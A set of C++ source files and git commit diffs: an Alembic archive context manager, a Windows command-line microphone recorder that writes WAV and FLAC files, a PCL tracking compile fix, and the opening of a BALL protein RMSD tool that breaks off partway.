s_instance.m_contexts.find(uid); if (it != s_instance.m_contexts.end()) { DebugLog("Using already created context for gameObject with ID %d", uid); return it->second.get(); } auto ctx = new aiContext(uid); s_instance.m_contexts[uid].reset(ctx); DebugLog("Register context for gameObject with ID %d", uid); return ctx; } void aiContextManager::destroyContext(int uid) { auto it = s_instance.m_contexts.find(uid); if (it != s_instance.m_contexts.end()) { DebugLog("Unregister context for gameObject with ID %d", uid); s_instance.m_contexts.erase(it); } } void aiContextManager::destroyContextsWithPath(const char* assetPath) { auto path = aiContext::normalizePath(assetPath); for (auto it = s_instance.m_contexts.begin(); it != s_instance.m_contexts.end(); ++it) { if (it->second->getPath() == path) { DebugLog("Unregister context for gameObject with ID %s", it->second->getPath().c_str()); s_instance.m_contexts.erase(it); break; } } } aiContextManager::~aiContextManager() { if (m_contexts.size()) { DebugWarning("%lu remaining context(s) registered", m_contexts.size()); } m_contexts.clear(); } aiContext::aiContext(int uid) : m_uid(uid) { } aiContext::~aiContext() { waitAsync(); m_top_node.reset(); m_archive.reset(); } Abc::IArchive aiContext::getArchive() const { return m_archive; } const std::string& aiContext::getPath() const { return m_path; } int aiContext::getTimeRangeCount() const { return (int)m_time_ranges.size(); } void aiContext::getTimeRange(int tsi, aiTimeRange & dst) const { if (tsi >= 0 && tsi < (int)m_time_ranges.size()) { dst = m_time_ranges[tsi]; } else { dst = m_time_range_unified; } } int aiContext::getTimeSamplingCount() { return (int)m_archive.getNumTimeSamplings(); } int aiContext::getTimeSamplingIndex(Abc::TimeSamplingPtr ts) { int n = m_archive.getNumTimeSamplings(); for (int i = 0; i < n; ++i) { if (m_archive.getTimeSampling(i) == ts) { return i; } } return 0; } int aiContext::getUid() const { return m_uid; } const aiConfig& aiContext::getConfig() const { return m_config; } void aiContext::setConfig(const aiConfig &config) { DebugLog("aiContext::setConfig: %s", ToString(config).c_str()); m_config = config; } void aiContext::gatherNodesRecursive(aiObject *n) { abcObject &abc = n->getAbcObject(); size_t numChildren = abc.getNumChildren(); for (size_t i = 0; i < numChildren; ++i) { aiObject *child = n->newChild(abc.getChild(i)); gatherNodesRecursive(child); } } void aiContext::reset() { DebugLog("aiContext::reset()"); m_top_node.reset(); m_path = ""; m_archive.reset(); m_time_range_unified = {}; m_time_ranges.clear(); } std::string aiContext::normalizePath(const char *inPath) { std::string path; if (inPath != nullptr) { path = inPath; #ifdef _WIN32 size_t n = path.length(); for (size_t i=0; i<n; ++i) { char c = path[i]; if (c == '\\') { path[i] = '/'; } else if (c >= 'A' && c <= 'Z') { path[i] = 'a' + (c - 'A'); } } #endif } return path; } bool aiContext::load(const char *inPath) { std::string path = normalizePath(inPath); DebugLog("aiContext::load: '%s'", path.c_str()); if (path == m_path && m_archive) { DebugLog("Context already loaded for gameObject with id %d", m_uid); return true; } DebugLog("Alembic file path changed from '%s' to '%s'. Reset context.", m_path.c_str(), path.c_str()); aiLogger::Indent(1); reset(); if (path.length() == 0) { aiLogger::Unindent(1); return false; } m_path = path; if (!m_archive.valid()) { DebugLog("Archive '%s' not yet opened", inPath); try { DebugLog("Trying to open AbcCoreOgawa::ReadArchive..."); m_archive = Abc::IArchive(AbcCoreOgawa::ReadArchive(std::thread::hardware_concurrency()), path); } catch (Alembic::Util::Exception e) { DebugLog("Failed (%s)", e.what()); try { DebugLog("Trying to open AbcCoreHDF5::ReadArchive..."); m_archive = Abc::IArchive(AbcCoreHDF5::ReadArchive(), path); } catch (Alembic::Util::Exception e2) { DebugLog("Failed (%s)", e2.what()); } } } else { DebugLog("Archive '%s' already opened", inPath); } if (m_archive.valid()) { abcObject abcTop = m_archive.getTop(); m_top_node.reset(new aiObject(this, nullptr, abcTop)); gatherNodesRecursive(m_top_node.get()); m_time_range_unified = {}; m_time_ranges.clear(); auto num_time_samplings = (int)m_archive.getNumTimeSamplings(); if (num_time_samplings > 1) { aiTimeRange tr; tr.start_time = std::numeric_limits<float>::max(); tr.end_time = -std::numeric_limits<float>::max(); for (int i = 1; i < num_time_samplings; ++i) { auto ts = m_archive.getTimeSampling(i); auto tst = ts->getTimeSamplingType(); // Note: alembic guaranties we have at least one stored time if (tst.isCyclic() || tst.isUniform()) { auto max_num_samples = m_archive.getMaxNumSamplesForTimeSamplingIndex(i); auto samples_per_cycle = tst.getNumSamplesPerCycle(); auto time_per_cycle = tst.getTimePerCycle(); int num_cycles = int(max_num_samples / samples_per_cycle); if (tst.isUniform()) tr.type = aiTimeSamplingType::Uniform; else if (tst.isCyclic()) tr.type = aiTimeSamplingType::Cyclic; tr.start_time = ts->getStoredTimes()[0]; tr.end_time = tr.start_time + (num_cycles - 1) * time_per_cycle; tr.frame_count = num_cycles; } else if (tst.isAcyclic()) { tr.type = aiTimeSamplingType::Acyclic; tr.start_time = ts->getSampleTime(0); tr.end_time = ts->getSampleTime(ts->getNumStoredTimes() - 1); tr.frame_count = (int)ts->getNumStoredTimes(); } if (tr.start_time > tr.end_time) { tr.start_time = 0.0; tr.end_time = 0.0; } m_time_ranges.push_back(tr); } m_time_range_unified = m_time_ranges.front(); for (size_t i = 1; i < m_time_ranges.size(); ++i) { auto& tr = m_time_ranges[i]; if (m_time_range_unified.type != tr.type) m_time_range_unified.type = aiTimeSamplingType::Mixed; m_time_range_unified.start_time = std::min(m_time_range_unified.start_time, tr.start_time); m_time_range_unified.end_time = std::max(m_time_range_unified.end_time, tr.end_time); m_time_range_unified.frame_count = std::max(m_time_range_unified.frame_count, tr.frame_count); } } DebugLog("Succeeded"); aiLogger::Unindent(1); return true; } else { aiLogger::Error("Invalid archive '%s'", inPath); aiLogger::Unindent(1); reset(); return false; } } aiObject* aiContext::getTopObject() const { return m_top_node.get(); } void aiContext::updateSamples(double time) { waitAsync(); auto ss = aiTimeToSampleSelector(time); eachNodes([ss](aiObject& o) { o.updateSample(ss); }); // kick async tasks! if (!m_async_tasks.empty()) { for (auto task : m_async_tasks) task->prepare(); m_async_future = std::async(std::launch::async, [this]() { for (auto task : m_async_tasks) task->run(); m_async_tasks.clear(); }); } } void aiContext::queueAsync(aiAsync& task) { m_async_tasks.push_back(&task); } void aiContext::waitAsync() { if (m_async_future.valid()) m_async_future.wait(); } <|endoftext|>
<commit_before> #include <cstdio> #include <thread> #include <windows.h> #include <fstream> #include <cstdlib> #include <mmsystem.h> #include <assert.h> // debugging #include <cstdlib> #include "FLAC++/encoder.h" #include "FLAC/stream_encoder.h" /* audio settings */ int const NUM_CHANNELS = 1; // mono audio (stereo would need 2 channels) int const SAMPLES_PER_SEC = 16000; int const BITS_PER_SAMPLE = 16; int const BYTE_PER_SAMPLE = BITS_PER_SAMPLE / 8; int const BLOCK_ALIGN = NUM_CHANNELS * BITS_PER_SAMPLE / 8; void CaptureSoundFor(int secs); void SaveWavFile(char* filename, PWAVEHDR pWaveHdr); void ReadWavFile(char* filename); // FLAC void ConvertWavToFlac(const char* wavfile, const char* flacfile); static void FlacProgressCallback(const FLAC__StreamEncoder* encoder, FLAC__uint64 bytes_written, FLAC__uint64 samples_written, unsigned frames_written, unsigned total_frames_estimate, void* client_data); int main(int /*argc*/, char** /*argv*/) { CaptureSoundFor(10); return 0; } void CaptureSoundFor(int secs) { assert(secs > 0); int bufferSize = SAMPLES_PER_SEC * secs; WAVEHDR waveHdr; PBYTE buffer; HWAVEIN hWaveIn; /* begin sound capture */ buffer = (PBYTE)malloc(bufferSize); if (!buffer) { printf("Failed to allocate buffers\n"); assert(false); } // Open waveform audio for input WAVEFORMATEX waveform; waveform.wFormatTag = WAVE_FORMAT_PCM; waveform.nChannels = NUM_CHANNELS; waveform.nSamplesPerSec = SAMPLES_PER_SEC; waveform.nAvgBytesPerSec = SAMPLES_PER_SEC; waveform.nBlockAlign = BLOCK_ALIGN; waveform.wBitsPerSample = BITS_PER_SAMPLE; waveform.cbSize = 0; MMRESULT result = waveInOpen(&hWaveIn, WAVE_MAPPER, &waveform, NULL, NULL, CALLBACK_NULL); if (result) { printf("Failed to open waveform input device\n", result); assert(false); } // Set up headers and prepare them waveHdr.lpData = reinterpret_cast<CHAR*>(buffer); waveHdr.dwBufferLength = bufferSize; waveHdr.dwBytesRecorded = 0; waveHdr.dwUser = 0; waveHdr.dwFlags = 0; waveHdr.dwLoops = 1; waveHdr.lpNext = NULL; waveHdr.reserved = 0; waveInPrepareHeader(hWaveIn, &waveHdr, sizeof(WAVEHDR)); // Insert a wave input buffer result = waveInAddBuffer(hWaveIn, &waveHdr, sizeof(WAVEHDR)); if (result) { printf("Failed to read block from device\n"); assert(false); } // Commence sampling input result = waveInStart(hWaveIn); if (result) { printf("Failed to start recording\n"); assert(false); } // Wait until finished recording while (waveInUnprepareHeader(hWaveIn, &waveHdr, sizeof(WAVEHDR)) == WAVERR_STILLPLAYING) ; waveInClose(hWaveIn); SaveWavFile("temp.wav", &waveHdr); ConvertWavToFlac("temp.wav", "temp.flac"); } // Read the temporary wav file void ReadWavFile(char* filename) { // random variables used throughout the function int length, byte_samp, byte_sec; FILE* file; // open filepointer readonly fopen_s(&file, filename, "rb"); if (file == NULL) { printf("Wav:: Could not open file: %s", filename); return; } // declare a char buff to store some values in char buff[5]; buff[4] = '\0'; // read the first 4 bytes fread((void*)buff, 1, 4, file); // the first four bytes should be 'RIFF' if (strcmp((char*)buff, "RIFF") != 0) { printf("ReadWavFile:: incorrect file format? First four bytes not 'RIFF'"); return; } // read byte 8,9,10 and 11 fseek(file, 4, SEEK_CUR); fread((void *)buff, 1, 4, file); // this should read "WAVE" if (strcmp((char *)buff, "WAVE") != 0) { printf("ReadWavFile:: incorrect file format? Could not read 'WAVE'"); return; } // read byte 12,13,14,15 fread((void *)buff, 1, 4, file); // this should read "fmt " if (strcmp((char *)buff, "fmt ") != 0) { printf("ReadWavFile:: incorrect file format? Could not read 'fmt '"); return; } fseek(file, 20, SEEK_CUR); // final one read byte 36,37,38,39 fread((void *)buff, 1, 4, file); if (strcmp((char *)buff, "data") != 0) { printf("ReadWavFile:: incorrect file format? Could not read 'data'"); return; } // Now we know it is a wav file, rewind the stream rewind(file); // now is it mono or stereo ? fseek(file, 22, SEEK_CUR); fread((void *)buff, 1, 2, file); // bool isMono = (buff[0] & 0x02 == 0); // read the sample rate fread((void *)&SAMPLES_PER_SEC, 1, 4, file); fread((void *)&byte_sec, 1, 4, file); fread((void *)&byte_samp, 1, 2, file); fread((void *)&BITS_PER_SAMPLE, 1, 2, file); fseek(file, 4, SEEK_CUR); fread((void *)&length, 1, 4, file); } void SaveWavFile(char* filename, PWAVEHDR pWaveHdr) { std::fstream file(filename, std::fstream::out | std::fstream::binary); int pcmsize = sizeof(PCMWAVEFORMAT); int audioFormat = WAVE_FORMAT_PCM; int subchunk1size = 16; int byteRate = SAMPLES_PER_SEC * NUM_CHANNELS * BITS_PER_SAMPLE / 8; int blockAlign = BLOCK_ALIGN; int subchunk2size = pWaveHdr->dwBufferLength * NUM_CHANNELS; int chunksize = (36 + subchunk2size); // write the wav file per the wav file format file.seekp(0, std::ios::beg); file.write("RIFF", 4); // chunk id file.write((char*)&chunksize, 4); // chunk size (36 + SubChunk2Size)) file.write("WAVE", 4); // format file.write("fmt ", 4); // subchunk1ID file.write((char*)&subchunk1size, 4); // subchunk1size (16 for PCM) file.write((char*)&audioFormat, 2); // AudioFormat (1 for PCM) file.write((char*)&NUM_CHANNELS, 2); // NumChannels file.write((char*)&SAMPLES_PER_SEC, 4); // sample rate file.write((char*)&byteRate, 4); // byte rate (SampleRate * NumChannels * BitsPerSample/8) file.write((char*)&blockAlign, 2); // block align (NumChannels * BitsPerSample/8) file.write((char*)&BITS_PER_SAMPLE, 2); // bits per sample file.write("data", 4); // subchunk2ID file.write((char*)&subchunk2size, 4); // subchunk2size (NumSamples * NumChannels * BitsPerSample/8) file.write(pWaveHdr->lpData, pWaveHdr->dwBufferLength); // data file.close(); } static unsigned totalSamples = 0; /* can use a 32-bit number due to WAVE size limitations */ void ConvertWavToFlac(const char* wavfile, const char* flacfile) { FLAC__StreamEncoder* encoder = 0; FLAC__StreamEncoderInitStatus initStatus; FILE* file; fopen_s(&file, wavfile, "rb"); if (file == NULL) { printf("ConvertWavToFlac:: couldn't open input file\n", wavfile); return; } int const READ_BUFFER_SIZE = 4096; FLAC__byte buffer[READ_BUFFER_SIZE * BYTE_PER_SAMPLE * NUM_CHANNELS]; /* we read the WAVE data into here */ FLAC__int32 pcm[READ_BUFFER_SIZE * NUM_CHANNELS]; // some consistency checks on the string fields of the file if (fread(buffer, 1, 44, file) != 44 || memcmp(buffer, "RIFF", 4) || memcmp(buffer + 8, "WAVE", 4) || memcmp(buffer + 12, "fmt ", 4) || memcmp(buffer + 36, "data", 4)) { printf("ConvertWavToFlac:: file %s doesn't look like a wav file", wavfile); fclose(file); return; } // @todo: find better way to read this value, this looks ugly totalSamples = (((((((unsigned)buffer[43] << 8) | buffer[42]) << 8) | buffer[41]) << 8) | buffer[40]) / BYTE_PER_SAMPLE; /* allocate the encoder */ encoder = FLAC__stream_encoder_new(); if (encoder == NULL) { printf("ConvertWavToFlac:: couldn't allocate encoder\n"); fclose(file); return; } FLAC__bool ok = true; ok &= FLAC__stream_encoder_set_verify(encoder, true); ok &= FLAC__stream_encoder_set_compression_level(encoder, 5); ok &= FLAC__stream_encoder_set_channels(encoder, NUM_CHANNELS); ok &= FLAC__stream_encoder_set_bits_per_sample(encoder, BITS_PER_SAMPLE); ok &= FLAC__stream_encoder_set_sample_rate(encoder, SAMPLES_PER_SEC); ok &= FLAC__stream_encoder_set_total_samples_estimate(encoder, totalSamples); /* initialize encoder */ if (ok) { initStatus = FLAC__stream_encoder_init_file(encoder, flacfile, FlacProgressCallback, nullptr); if (initStatus != FLAC__STREAM_ENCODER_INIT_STATUS_OK) { printf("ConvertWavToFlac:: error while initializing encoder: %s\n", FLAC__StreamEncoderInitStatusString[initStatus]); ok = false; } } /* read blocks of samples from WAVE file and feed to encoder */ if (ok) { size_t left = (size_t)totalSamples; while (ok && left) { size_t need = (left > READ_BUFFER_SIZE ? (size_t)READ_BUFFER_SIZE : (size_t)left); if (fread(buffer, NUM_CHANNELS * (BITS_PER_SAMPLE / 8), need, file) != need) { printf("ConvertWavToFlac:: error reading from WAVE file\n"); ok = false; } else { /* convert the packed little-endian 16-bit PCM samples from WAVE into an interleaved FLAC__int32 buffer for libFLAC */ size_t i; for (i = 0; i < need * NUM_CHANNELS; i++) /* inefficient but simple and works on big- or little-endian machines */ pcm[i] = (FLAC__int32)(((FLAC__int16)(FLAC__int8)buffer[2 * i + 1] << 8) | (FLAC__int16)buffer[2 * i]); /* feed samples to encoder */ ok = FLAC__stream_encoder_process_interleaved(encoder, pcm, need); } left -= need; } } ok &= FLAC__stream_encoder_finish(encoder); printf("ConvertWavToFlac:: %s\n", ok ? "Success" : "FAILED"); if (!ok) printf("* State: %s\n", FLAC__StreamEncoderStateString[FLAC__stream_encoder_get_state(encoder)]); FLAC__stream_encoder_delete(encoder); fclose(file); } void FlacProgressCallback(FLAC__StreamEncoder const* /*encoder*/, FLAC__uint64 bytes_written, FLAC__uint64 samples_written, unsigned frames_written, unsigned total_frames_estimate, void* /*client_data*/) { printf("FlacProgressCallback:: Wrote %llu bytes, %llu/%u samples, %u/%u frames\n", bytes_written, samples_written, totalSamples, frames_written, total_frames_estimate); } <commit_msg>Replace char* by std::strings, comment out flac converting (we don't need it anymore), add parameters for record time<commit_after> #include <cstdio> #include <thread> #include <windows.h> #include <fstream> #include <cstdlib> #include <mmsystem.h> #include <assert.h> // debugging #include <cstdlib> #include "FLAC++/encoder.h" #include "FLAC/stream_encoder.h" /* audio settings */ // from https://msdn.microsoft.com/en-us/library/aa908934.aspx int const NUM_CHANNELS = 1; // mono audio (stereo would need 2 channels) int const SAMPLES_PER_SEC = 16000; int const BITS_PER_SAMPLE = 16; int const BYTE_PER_SAMPLE = BITS_PER_SAMPLE / 8; int const BLOCK_ALIGN = NUM_CHANNELS * BYTE_PER_SAMPLE; int const BYTE_RATE = SAMPLES_PER_SEC * BLOCK_ALIGN; void CaptureSoundFor(int secs, std::string destfile); void SaveWavFile(std::string filename, PWAVEHDR pWaveHdr); void ReadWavFile(std::string filename); // FLAC void ConvertWavToFlac(std::string wavfile, std::string flacfile); static void FlacProgressCallback(const FLAC__StreamEncoder* encoder, FLAC__uint64 bytes_written, FLAC__uint64 samples_written, unsigned frames_written, unsigned total_frames_estimate, void* client_data); int main(int argc, char** argv) { if (argc < 3) { fprintf(stderr, "Missing args. Synthax: cap_wordcloud.exe $duration $destfile"); return 1; } int duration = atoi(argv[1]); std::string destfile = argv[2]; CaptureSoundFor(duration, destfile); return 0; } void CaptureSoundFor(int secs, std::string destfile) { assert(secs > 0); int bufferSize = SAMPLES_PER_SEC * BYTE_PER_SAMPLE * NUM_CHANNELS * secs; printf("bufferSize is %d\n", bufferSize); WAVEHDR waveHdr; PBYTE buffer; HWAVEIN hWaveIn; /* begin sound capture */ buffer = (PBYTE)malloc(bufferSize); if (!buffer) { printf("Failed to allocate buffers\n"); assert(false); } // Open waveform audio for input WAVEFORMATEX waveform; waveform.wFormatTag = WAVE_FORMAT_PCM; waveform.nChannels = NUM_CHANNELS; waveform.nSamplesPerSec = SAMPLES_PER_SEC; waveform.nAvgBytesPerSec = BYTE_RATE; waveform.nBlockAlign = BLOCK_ALIGN; waveform.wBitsPerSample = BITS_PER_SAMPLE; waveform.cbSize = 0; MMRESULT result = waveInOpen(&hWaveIn, WAVE_MAPPER, &waveform, NULL, NULL, CALLBACK_NULL); if (result) { printf("Failed to open waveform input device\n", result); assert(false); } // Set up headers and prepare them waveHdr.lpData = reinterpret_cast<CHAR*>(buffer); waveHdr.dwBufferLength = bufferSize; waveHdr.dwBytesRecorded = 0; waveHdr.dwUser = 0; waveHdr.dwFlags = 0; waveHdr.dwLoops = 1; waveHdr.lpNext = NULL; waveHdr.reserved = 0; waveInPrepareHeader(hWaveIn, &waveHdr, sizeof(WAVEHDR)); // Insert a wave input buffer result = waveInAddBuffer(hWaveIn, &waveHdr, sizeof(WAVEHDR)); if (result) { printf("Failed to read block from device\n"); assert(false); } // Commence sampling input result = waveInStart(hWaveIn); if (result) { printf("Failed to start recording\n"); assert(false); } time_t startTime = time(NULL); // Wait until finished recording while (waveInUnprepareHeader(hWaveIn, &waveHdr, sizeof(WAVEHDR)) == WAVERR_STILLPLAYING) ; time_t endTime = time(NULL); int timeDiff = int(endTime - startTime); if (secs != timeDiff) printf("WARNING: requested capture time (%d) is different from real capture time (%d)", secs, timeDiff); waveInClose(hWaveIn); SaveWavFile(destfile, &waveHdr); // SaveWavFile("temp.wav", &waveHdr); // ConvertWavToFlac("temp.wav", destfile); } // Read the temporary wav file void ReadWavFile(char* filename) { // random variables used throughout the function int length, byte_samp, byte_sec; FILE* file; // open filepointer readonly fopen_s(&file, filename, "rb"); if (file == NULL) { printf("Wav:: Could not open file: %s", filename); return; } // declare a char buff to store some values in char buff[5]; buff[4] = '\0'; // read the first 4 bytes fread((void*)buff, 1, 4, file); // the first four bytes should be 'RIFF' if (strcmp((char*)buff, "RIFF") != 0) { printf("ReadWavFile:: incorrect file format? First four bytes not 'RIFF'"); return; } // read byte 8,9,10 and 11 fseek(file, 4, SEEK_CUR); fread((void *)buff, 1, 4, file); // this should read "WAVE" if (strcmp((char *)buff, "WAVE") != 0) { printf("ReadWavFile:: incorrect file format? Could not read 'WAVE'"); return; } // read byte 12,13,14,15 fread((void *)buff, 1, 4, file); // this should read "fmt " if (strcmp((char *)buff, "fmt ") != 0) { printf("ReadWavFile:: incorrect file format? Could not read 'fmt '"); return; } fseek(file, 20, SEEK_CUR); // final one read byte 36,37,38,39 fread((void *)buff, 1, 4, file); if (strcmp((char *)buff, "data") != 0) { printf("ReadWavFile:: incorrect file format? Could not read 'data'"); return; } // Now we know it is a wav file, rewind the stream rewind(file); // now is it mono or stereo ? fseek(file, 22, SEEK_CUR); fread((void *)buff, 1, 2, file); // bool isMono = (buff[0] & 0x02 == 0); // read the sample rate fread((void *)&SAMPLES_PER_SEC, 1, 4, file); fread((void *)&byte_sec, 1, 4, file); fread((void *)&byte_samp, 1, 2, file); fread((void *)&BITS_PER_SAMPLE, 1, 2, file); fseek(file, 4, SEEK_CUR); fread((void *)&length, 1, 4, file); } void SaveWavFile(std::string filename, PWAVEHDR pWaveHdr) { std::fstream file(filename, std::fstream::out | std::fstream::binary); int pcmsize = sizeof(PCMWAVEFORMAT); int audioFormat = WAVE_FORMAT_PCM; int subchunk1size = 16; int subchunk2size = pWaveHdr->dwBufferLength * NUM_CHANNELS; int chunksize = (36 + subchunk2size); // write the wav file per the wav file format file.seekp(0, std::ios::beg); file.write("RIFF", 4); // chunk id file.write((char*)&chunksize, 4); // chunk size (36 + SubChunk2Size)) file.write("WAVE", 4); // format file.write("fmt ", 4); // subchunk1ID file.write((char*)&subchunk1size, 4); // subchunk1size (16 for PCM) file.write((char*)&audioFormat, 2); // AudioFormat (1 for PCM) file.write((char*)&NUM_CHANNELS, 2); // NumChannels file.write((char*)&SAMPLES_PER_SEC, 4); // sample rate file.write((char*)&BYTE_RATE, 4); // byte rate (SampleRate * NumChannels * BitsPerSample/8) file.write((char*)&BLOCK_ALIGN, 2); // block align (NumChannels * BitsPerSample/8) file.write((char*)&BITS_PER_SAMPLE, 2); // bits per sample file.write("data", 4); // subchunk2ID printf("subchunk2size is %d\n", subchunk2size); file.write((char*)&subchunk2size, 4); // subchunk2size (NumSamples * NumChannels * BitsPerSample/8) file.write(pWaveHdr->lpData, pWaveHdr->dwBufferLength); // data file.close(); } static unsigned totalSamples = 0; /* can use a 32-bit number due to WAVE size limitations */ void ConvertWavToFlac(std::string wavfile, std::string flacfile) { FLAC__StreamEncoder* encoder = 0; FLAC__StreamEncoderInitStatus initStatus; FILE* file; fopen_s(&file, wavfile.c_str(), "rb"); if (file == NULL) { printf("ConvertWavToFlac:: couldn't open input file\n", wavfile); return; } int const READ_BUFFER_SIZE = 4096; FLAC__byte buffer[READ_BUFFER_SIZE * BYTE_PER_SAMPLE * NUM_CHANNELS]; /* we read the WAVE data into here */ FLAC__int32 pcm[READ_BUFFER_SIZE * NUM_CHANNELS]; // some consistency checks on the string fields of the file if (fread(buffer, 1, 44, file) != 44 || memcmp(buffer, "RIFF", 4) || memcmp(buffer + 8, "WAVE", 4) || memcmp(buffer + 12, "fmt ", 4) || memcmp(buffer + 36, "data", 4)) { printf("ConvertWavToFlac:: file %s doesn't look like a wav file", wavfile); fclose(file); return; } // @todo: find better way to read this value, this looks ugly totalSamples = (((((((unsigned)buffer[43] << 8) | buffer[42]) << 8) | buffer[41]) << 8) | buffer[40]) / BYTE_PER_SAMPLE; /* allocate the encoder */ encoder = FLAC__stream_encoder_new(); if (encoder == NULL) { printf("ConvertWavToFlac:: couldn't allocate encoder\n"); fclose(file); return; } FLAC__bool ok = true; ok &= FLAC__stream_encoder_set_verify(encoder, true); ok &= FLAC__stream_encoder_set_compression_level(encoder, 5); ok &= FLAC__stream_encoder_set_channels(encoder, NUM_CHANNELS); ok &= FLAC__stream_encoder_set_bits_per_sample(encoder, BITS_PER_SAMPLE); ok &= FLAC__stream_encoder_set_sample_rate(encoder, SAMPLES_PER_SEC); ok &= FLAC__stream_encoder_set_total_samples_estimate(encoder, totalSamples); /* initialize encoder */ if (ok) { initStatus = FLAC__stream_encoder_init_file(encoder, flacfile.c_str(), FlacProgressCallback, nullptr); if (initStatus != FLAC__STREAM_ENCODER_INIT_STATUS_OK) { printf("ConvertWavToFlac:: error while initializing encoder: %s\n", FLAC__StreamEncoderInitStatusString[initStatus]); ok = false; } } /* read blocks of samples from WAVE file and feed to encoder */ if (ok) { size_t left = (size_t)totalSamples; while (ok && left) { size_t need = (left > READ_BUFFER_SIZE ? (size_t)READ_BUFFER_SIZE : (size_t)left); if (fread(buffer, NUM_CHANNELS * (BITS_PER_SAMPLE / 8), need, file) != need) { printf("ConvertWavToFlac:: error reading from WAVE file\n"); ok = false; } else { /* convert the packed little-endian 16-bit PCM samples from WAVE into an interleaved FLAC__int32 buffer for libFLAC */ size_t i; for (i = 0; i < need * NUM_CHANNELS; i++) /* inefficient but simple and works on big- or little-endian machines */ pcm[i] = (FLAC__int32)(((FLAC__int16)(FLAC__int8)buffer[2 * i + 1] << 8) | (FLAC__int16)buffer[2 * i]); /* feed samples to encoder */ ok = FLAC__stream_encoder_process_interleaved(encoder, pcm, need); } left -= need; } } ok &= FLAC__stream_encoder_finish(encoder); printf("ConvertWavToFlac:: %s\n", ok ? "Success" : "FAILED"); if (!ok) printf("* State: %s\n", FLAC__StreamEncoderStateString[FLAC__stream_encoder_get_state(encoder)]); FLAC__stream_encoder_delete(encoder); fclose(file); } void FlacProgressCallback(FLAC__StreamEncoder const* /*encoder*/, FLAC__uint64 bytes_written, FLAC__uint64 samples_written, unsigned frames_written, unsigned total_frames_estimate, void* /*client_data*/) { printf("FlacProgressCallback:: Wrote %llu bytes, %llu/%u samples, %u/%u frames\n", bytes_written, samples_written, totalSamples, frames_written, total_frames_estimate); } <|endoftext|>
<commit_before>#ifndef PCL_TRACKING_IMPL_COHERENCE_H_ #define PCL_TRACKING_IMPL_COHERENCE_H_ namespace pcl { namespace tracking { template <typename PointInT> double PointCoherence<PointInT>::compute (PointInT &source, PointInT &target) { return computeCoherence (); } template <typename PointInT> bool PointCloudCoherence<PointInT>::initCompute () { if (PCLBase<PointInT>::initCompute ()) { PCL_ERROR ("[pcl::%s::initCompute] PCLBase::Init failed.\n", getClassName ().c_str ()); deinitCompute (); return (false); } if (!target_input_ || target_input_->points.empty ()) { PCL_ERROR ("[pcl::%s::compute] target_input_ is empty!\n", getClassName ().c_str ()); deinitCompute (); return false; } return true; } template <typename PointInT> double PointCloudCoherence<PointInT>::compute () { if (initCompute ()) { PCL_ERROR ("[pcl::%s::compute] Init failed.\n", getClassName ().c_str ()); return (false); } return computeCoherence (); } } } #endif <commit_msg>fix compilation error<commit_after>#ifndef PCL_TRACKING_IMPL_COHERENCE_H_ #define PCL_TRACKING_IMPL_COHERENCE_H_ namespace pcl { namespace tracking { template <typename PointInT> double PointCoherence<PointInT>::compute (PointInT &source, PointInT &target) { return computeCoherence (source, target); } template <typename PointInT> bool PointCloudCoherence<PointInT>::initCompute () { if (PCLBase<PointInT>::initCompute ()) { PCL_ERROR ("[pcl::%s::initCompute] PCLBase::Init failed.\n", getClassName ().c_str ()); deinitCompute (); return (false); } if (!target_input_ || target_input_->points.empty ()) { PCL_ERROR ("[pcl::%s::compute] target_input_ is empty!\n", getClassName ().c_str ()); deinitCompute (); return false; } return true; } template <typename PointInT> double PointCloudCoherence<PointInT>::compute () { if (initCompute ()) { PCL_ERROR ("[pcl::%s::compute] Init failed.\n", getClassName ().c_str ()); return (false); } return computeCoherence (); } } } #endif <|endoftext|>
<commit_before>// -*- Mode: C++; tab-width: 2; -*- // vi: set ts=2: // // A tool for computing rmsd between proteins // // #include <BALL/DOCKING/COMMON/poseClustering.h> #include <BALL/FORMAT/DCDFile.h> #include <BALL/FORMAT/PDBFile.h> #include <BALL/FORMAT/lineBasedFile.h> #include <BALL/FORMAT/commandlineParser.h> #include <BALL/STRUCTURE/structureMapper.h> #include <BALL/SYSTEM/timer.h> #include <iostream> #include "version.h" using namespace std; using namespace BALL; int main (int argc, char **argv) { Timer t; // instantiate CommandlineParser object supplying // - tool name // - short description // - version string // - build date // - category CommandlineParser parpars("PDBRNMDockPoseClustering", "computes RMSD between protein poses ", VERSION, String(__DATE__), "Docking"); // we register an input file parameter // - CLI switch // - description // - Inputfile parpars.registerParameter("i_pdb", "input pdb-file", INFILE, true); parpars.registerParameter("i_query", "second molecule input file", INFILE, false); parpars.registerParameter("i_type", "query type (pdb, dcd, or transformation file (rigid_transformations) ", STRING, false, "pdb"); list<String> input_types; input_types.push_back("pdb"); input_types.push_back("dcd"); input_types.push_back("rigid_transformations"); parpars.setParameterRestrictions("i_type", input_types); parpars.registerParameter("o", "output file name", STRING, false, "", true); // choice of atom rmsd scope parpars.registerParameter("scope", "atoms to be considered for scoreing a pose (C_ALPHA, BACKBONE, ALL_ATOMS) ", STRING, false, "C_ALPHA"); list<String> rmsd_levels; rmsd_levels.push_back("C_ALPHA"); //rmsd_levels.push_back("HEAVY_ATOMS"); //TODO rmsd_levels.push_back("BACKBONE"); rmsd_levels.push_back("ALL_ATOMS"); parpars.setParameterRestrictions("scope", rmsd_levels); // choice of rmsd type parpars.registerParameter("rmsd_type", "rmsd type used for clustering (SNAPSHOT_RMSD, RIGID_RMSD, CENTER_OF_MASS_DISTANCE) ", STRING, false, "SNAPSHOT_RMSD"); list<String> rmsd_types; rmsd_types.push_back("SNAPSHOT_RMSD"); rmsd_types.push_back("RIGID_RMSD"); rmsd_types.push_back("CENTER_OF_MASS_DISTANCE"); parpars.setParameterRestrictions("rmsd_type", rmsd_types); // TODO: parameter for preceding determination of RMSD minimizing transformation? //parpars.registerFlag("find_transformation", ""); // the manual String man = "This tool computes the RMSD between proteins.\n\nParameters are either the second input file (i_query) whose type has to be specified (i_type) and can be either a single pdb, a dcd or a transformation file. Optional parameters are the rmsd type (-rmsd_type), and the type of atoms used for scoring a pose (-scope).\n\nOutput of this tool is a either the rmsd (in the pdb-pdb case) or a file (-o) containing the RMSD between the first pose and all other poses."; parpars.setToolManual(man); // here we set the types of I/O files parpars.setSupportedFormats("i_pdb","pdb"); parpars.setSupportedFormats("i_query","pdb,dcd,txt"); parpars.setSupportedFormats("o","txt"); parpars.parse(argc, argv); ////////////////////////////////////////////////// // read the input PDBFile pdb; pdb.open(parpars.get("i_pdb")); System sys; pdb.read(sys); // read the second file if (parpars.has("i_type") && parpars.has("i_query")) { String query_type = parpars.get("i_type"); String second_file = parpars.get("i_query"); ConformationSet cs; 